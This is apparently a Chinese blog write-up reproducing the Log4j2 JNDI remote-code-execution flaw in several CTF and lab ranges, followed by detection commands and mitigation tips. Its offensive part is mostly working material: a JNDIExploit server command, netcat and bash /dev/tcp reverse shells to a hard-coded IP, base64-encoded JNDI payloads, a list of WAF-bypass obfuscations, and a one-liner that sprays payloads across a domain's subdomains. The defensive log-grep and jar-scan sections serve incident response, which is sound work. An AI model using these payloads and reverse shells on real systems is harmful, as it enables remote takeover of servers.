Apache Log4j复现

0x01:影响版本

Apache Log4j 2.x < 2.15.0-rc2

0x02:Bugku环境

地址:https://ctf.bugku.com/challenges/detail/id/340.html

在用户名处插入dnslog

反弹shell

java -jar JNDIExploit-v1.11.jar -i 106.52.219.217

Apache Log4j复现

建立监听

nc -lvnp 12345

Apache Log4j复现

反弹shell的语句

nc 106.52.219.217 12345 -e /bin/sh

base64编码之后

bmMgMTA2LjUyLjIxOS4yMTcgMTIzNDUgLWUgL2Jpbi9zaA==

抓包user在user参数处发送payload

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/命令的base64编码}

${jndi:ldap://106.52.219.217:1389/Basic/Command/Base64/bmMgMTA2LjUyLjIxOS4yMTcgMTIzNDUgLWUgL2Jpbi9zaA==}

Apache Log4j复现

Apache Log4j复现

0x03:掌控安全靶场环境

地址:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd

dnslog验证

${jndi:ldap://3y261l0gwnsb6dm6e82h1eeojfp6dv.burpcollaborator.net}

Apache Log4j复现

建立jndi监听

Apache Log4j复现

发送payload

${jndi:ldap://106.52.219.217:1389/odb2fr}

反弹shell

Apache Log4j复现

0x04:Vulfocus靶场

1. TomcatBypass/TomcatEcho

Apache Log4j复现

Apache Log4j复现

2. TomcatBypass/Command/Base64/

先base64编码,然后将里面的+号进行两次url编码(hackbar与bp需要)

payload=${jndi:ldap://106.52.219.217:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMDYuNTIuMjE5LjIxNy8xMjM0NSAwPiYx}

Apache Log4j复现

0x05:CTFshow

Apache Log4j复现

插入

Apache Log4j复现

收到shell

Apache Log4j复现

0x06:Docker环境

docker创建环境命令:

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

环境启动成功后,访问http://127.0.0.1/webstudy/hello-fengxuan,漏洞post参数为c。

不想搞了,看这个吧:https://www.codetd.com/en/article/13534228

0x07:绕过WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

0x08:检测攻击行为

1、通过流量检测设备监控是否存在各种dnslog的访问请求

2、监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。

0x09:相关的攻击和检测工具

1. Burp插件

1.1 BurpLog4j2Scan

https://github.com/tangxiaofeng7/BurpLog4j2Scan.git

1.2 Log4j2Scan

https://github.com/whwlsfb/Log4j2Scan

2. 批量

https://github.com/takito1812/log4j-detect

Apache Log4j复现

3. 应急检查

3.1 Linux

#这个命令搜索/var/log目录下未压缩的文件在文件夹和子文件夹存在的攻击日志
sudo egrep -I -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

此命令搜索文件夹/var/log和所有子文件夹中的压缩文件中的攻击日志
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

#此命令搜索在下文中的用于waf绕过的使用的变量进行检查
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;

sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

#此命令搜索在/var/log压缩文件在文件夹和子文件夹的用于waf绕过的使用的变量进行检查
sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"  \;

#添加 -I(大写 i)来忽略二进制文件进行检查
sudo egrep -I -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

3.2 Windows

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

3.3 国外安全研究检查技巧

根据我对 jdk11+ 服务的基本 PoC 和 ysoserial CommonsCollections5 负载的测试,成功利用后受害应用程序的日志输出不包含`${jdn:...}`. 取而代之的是`BadAttributeValueException: foo=1`.

正常请求
$ curl  -H '<logged header>: normalheadercontent' http://localhost/some/endpoint/
输出日志:
<timestamp> DEBUG [some.service.package.SomeClass] - <function name> - request <logged header> header with value of normalheadercontent

成功请求 exploit:
$ curl  -H '<logged header>: ${jndi:ldap://192.168.1.15:1337/e}' http://localhost/some/endpoint/
输出日志:
<timestamp> DEBUG [<some.service.package.SomeClass>] - <function name> - request <logged header> header with value of BadAttributeValueException: foo=1

3.4 容器

寻找Linux、Docker容器、Kubernetes Pods上的软件漏洞

find -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' ; -print

find -name ".jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always log4j-core-2..jar' ; -print

3.5 网站日志检测

地址:https://github.com/Neo23x0/log4shell-detector.git

3.6 一条命令检测(用于SRC挖掘)

subfinder -d example.com -silent |puredns resolve -q |httprobe | while read url; do case1=$(curl -s $url -H "X-Api-Version: ${jndi:ldap://Yourburpcolab/a}"); case2=$(curl -s "$url/?test=${jndi:ldap://Yourburpcolab/a}"); case3=$(curl -s $url -H "User-Agent: ${jndi:ldap://Yourburpcolab/a}"); echo -e "\033[43mDOMAIN => $url\033[0m]" "\n" " Case1=> X-Api-Version: running-Ldap-payload" "\n" " Case1=> Useragent: running-Ldap-payload" "\n" " Case1=> $url/?test=running-Ldap-payload" "\n";done

0x10:变式

v2版本
添加了绕过rc1的poc 也同时能绕过常见主流waf拦截,还有高版本jdk绕过

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${lower:jnd}${upper:i}: ${lower:ldap}://interactsh-url}

0x11:Payload生成工具

https://github.com/woodpecker-appstore/log4j-payload-generator

0x12:紧急补救

1、log4j 2.0-2.9.1版本可以

5、采用waf对请求流量中的${jndi进行拦截。

6、禁止不必要的业务访问外网。

7、配置网络防火墙,禁止 log4j2 组件所在服务器主动外连网络,包含不限于DNS、TCP/IP、ICMP。

0x13:参考连接

https://mp.weixin.qq.com/s/lhUB7EMC6tWEUR3TIYTc5A

上一篇:Log4j2 RCE 简单复现


下一篇:JNDI注入高版本绕过